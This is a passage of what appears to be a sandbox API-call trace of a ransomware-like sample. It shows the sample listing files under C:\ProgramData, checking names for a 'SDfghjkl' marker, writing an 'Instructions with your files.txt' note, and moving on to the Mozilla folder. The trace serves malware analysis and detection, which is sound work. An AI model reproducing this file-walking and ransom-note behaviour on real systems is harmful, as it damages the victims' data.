[0125.987] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1604c8f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSACCESS.14.1033.hxn", cAlternateFileName="MSMSAC~1.HXN")) returned 1
[0125.987] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn") returned 57
[0125.987] StrStrIW (lpFirst="MS.MSACCESS.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.987] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1604c8f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSACCESS.DEV.14.1033.hxn", cAlternateFileName="MSMSAC~2.HXN")) returned 1
[0125.987] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn") returned 61
[0125.987] StrStrIW (lpFirst="MS.MSACCESS.DEV.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.987] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSOUC.14.1033.hxn", cAlternateFileName="MSMSOU~1.HXN")) returned 1
[0125.987] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn") returned 54
[0125.987] StrStrIW (lpFirst="MS.MSOUC.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.987] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bf5d790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSPUB.14.1033.hxn", cAlternateFileName="MSMSPU~1.HXN")) returned 1
[0125.987] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn") returned 54
[0125.987] StrStrIW (lpFirst="MS.MSPUB.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.987] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bf5d790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSPUB.DEV.14.1033.hxn", cAlternateFileName="MSMSPU~2.HXN")) returned 1
[0125.987] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn") returned 58
[0125.987] StrStrIW (lpFirst="MS.MSPUB.DEV.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.987] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSTORE.14.1033.hxn", cAlternateFileName="MSMSTO~1.HXN")) returned 1
[0125.987] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn") returned 55
[0125.987] StrStrIW (lpFirst="MS.MSTORE.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.987] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OIS.14.1033.hxn", cAlternateFileName="MSOIS1~1.HXN")) returned 1
[0125.987] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn") returned 52
[0125.987] StrStrIW (lpFirst="MS.OIS.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.987] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xc997810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc997810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e3ad0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.ONENOTE.14.1033.hxn", cAlternateFileName="MSONEN~1.HXN")) returned 1
[0125.987] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn") returned 56
[0125.988] StrStrIW (lpFirst="MS.ONENOTE.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.988] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2689510, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OUTLOOK.14.1033.hxn", cAlternateFileName="MSOUTL~1.HXN")) returned 1
[0125.988] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn") returned 56
[0125.988] StrStrIW (lpFirst="MS.OUTLOOK.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.988] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26af670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OUTLOOK.DEV.14.1033.hxn", cAlternateFileName="MSOUTL~2.HXN")) returned 1
[0125.988] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn") returned 60
[0125.988] StrStrIW (lpFirst="MS.OUTLOOK.DEV.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.988] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5fec970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.POWERPNT.14.1033.hxn", cAlternateFileName="MSPOWE~1.HXN")) returned 1
[0125.988] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn") returned 57
[0125.988] StrStrIW (lpFirst="MS.POWERPNT.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.988] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5fec970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.POWERPNT.DEV.14.1033.hxn", cAlternateFileName="MSPOWE~2.HXN")) returned 1
[0125.988] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn") returned 61
[0125.988] StrStrIW (lpFirst="MS.POWERPNT.DEV.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.988] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SETLANG.14.1033.hxn", cAlternateFileName="MSSETL~1.HXN")) returned 1
[0125.988] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn") returned 56
[0125.988] StrStrIW (lpFirst="MS.SETLANG.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.988] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5269fec0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.14.1033.hxn", cAlternateFileName="MSVISI~1.HXN")) returned 1
[0125.988] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn") returned 54
[0125.988] StrStrIW (lpFirst="MS.VISIO.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.988] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x527122e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.DEV.14.1033.hxn", cAlternateFileName="MSVISI~3.HXN")) returned 1
[0125.988] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn") returned 58
[0125.988] StrStrIW (lpFirst="MS.VISIO.DEV.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.988] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52738440, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.SHAPESHEET.14.1033.hxn", cAlternateFileName="MSVISI~4.HXN")) returned 1
[0125.988] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn") returned 65
[0125.988] StrStrIW (lpFirst="MS.VISIO.SHAPESHEET.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.988] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52738440, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO_PRM.14.1033.hxn", cAlternateFileName="MSE1C9~1.HXN")) returned 1
[0125.988] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn") returned 58
[0125.988] StrStrIW (lpFirst="MS.VISIO_PRM.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.988] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x527122e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO_STD.14.1033.hxn", cAlternateFileName="MSVISI~2.HXN")) returned 1
[0125.988] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn") returned 58
[0125.988] StrStrIW (lpFirst="MS.VISIO_STD.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.988] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf7d9300, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINPROJ.14.1033.hxn", cAlternateFileName="MSWINP~1.HXN")) returned 1
[0125.988] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn") returned 56
[0125.989] StrStrIW (lpFirst="MS.WINPROJ.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.989] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf7d9300, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINPROJ.DEV.14.1033.hxn", cAlternateFileName="MSWINP~2.HXN")) returned 1
[0125.989] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn") returned 60
[0125.989] StrStrIW (lpFirst="MS.WINPROJ.DEV.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.989] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e6f0550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINWORD.14.1033.hxn", cAlternateFileName="MSWINW~1.HXN")) returned 1
[0125.989] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn") returned 56
[0125.989] StrStrIW (lpFirst="MS.WINWORD.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.989] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e6f0550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINWORD.DEV.14.1033.hxn", cAlternateFileName="MSWINW~2.HXN")) returned 1
[0125.989] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn") returned 60
[0125.989] StrStrIW (lpFirst="MS.WINWORD.DEV.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0125.989] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x21dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 1
[0125.989] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\nslist.hxl") returned 44
[0125.989] StrStrIW (lpFirst="nslist.hxl", lpSrch="SDfghjkl") returned 0x0
[0125.989] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x21dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 0
[0125.989] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\Instructions with your files.txt") returned 66
[0125.989] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft Help\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft help\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0125.990] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0125.990] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0125.990] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0125.991] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0125.991] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0125.991] CloseHandle (hObject=0x108) returned 1
[0125.991] FindClose (in: hFindFile=0x876bf8 | out: hFindFile=0x876bf8) returned 1
[0125.991] GetProcessHeap () returned 0x810000
[0125.991] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0125.991] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1
[0125.991] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Mozilla") returned 26
[0125.991] GetProcessHeap () returned 0x810000
[0125.991] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0125.991] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Mozilla\\*") returned 28
[0125.991] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Mozilla\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876bf8
[0125.991] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Mozilla\\.") returned 28
[0125.991] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0125.992] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Mozilla\\..") returned 29
[0125.992] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1
